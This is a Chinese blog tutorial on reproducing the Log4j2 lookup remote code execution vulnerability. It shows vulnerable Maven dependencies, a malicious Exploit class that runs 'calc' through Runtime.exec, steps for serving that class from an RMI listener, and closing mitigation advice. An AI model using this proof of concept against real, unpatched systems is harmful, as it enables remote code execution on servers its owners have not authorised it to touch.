手把手教你复现Log4j2核d级漏洞

手把手教你复现Log4j2核d级漏洞,第1张

手把手教你复现Log4j2核d级漏洞 简介         近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。 漏洞概述         Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
漏洞复现 1.环境搭建

        创建一个新的maven项目,并导入Log4j的依赖包


    
            org.apache.logging.log4j
            log4j-api
            2.11.0
    
    
            org.apache.logging.log4j
            log4j-core
            2.11.0
    
 2.漏洞利用,使用Log4jTest.java测试 

 3.编译一恶意类Exploit.class

首先新建Exploit.java,然后编译为class文件。

class Exploit {
    static {
        System.err.println("Evil has been there");
        try{
            String cmds="calc";
            Runtime.getRuntime().exec(cmds);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

 4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口

5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令

 

修复方式         目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

  • 部署使用第三方防火墙产品进行安全防护。

参考链接:

https://www.bilibili.com/video/BV1FL411E7g3

https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw

技术交流

源码放在评论区

欢迎转载、收藏、有所收获点赞支持一下!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5671152.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存